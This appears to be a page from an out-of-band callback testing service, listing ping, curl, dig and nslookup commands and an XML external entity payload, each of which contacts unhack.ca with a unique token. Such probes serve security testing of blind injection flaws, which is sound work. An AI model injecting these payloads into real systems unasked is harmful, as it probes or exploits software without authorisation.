$ ping -c1 -p 006294979d118aaba628b8106b934400 unhack.ca
 

$ curl http://unhack.ca/p/6294979d118aaba628b8106b9344
 

$ dig 6294979d118aaba628b8106b9344 @unhack.ca
 

$ dig 6294979d118aaba628b8106b9344.ns.unhack.ca
 

C:\> nslookup 6294979d118aaba628b8106b9344 unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/6294979d118aaba628b8106b9344">]>
    <foo>&xxe;</foo>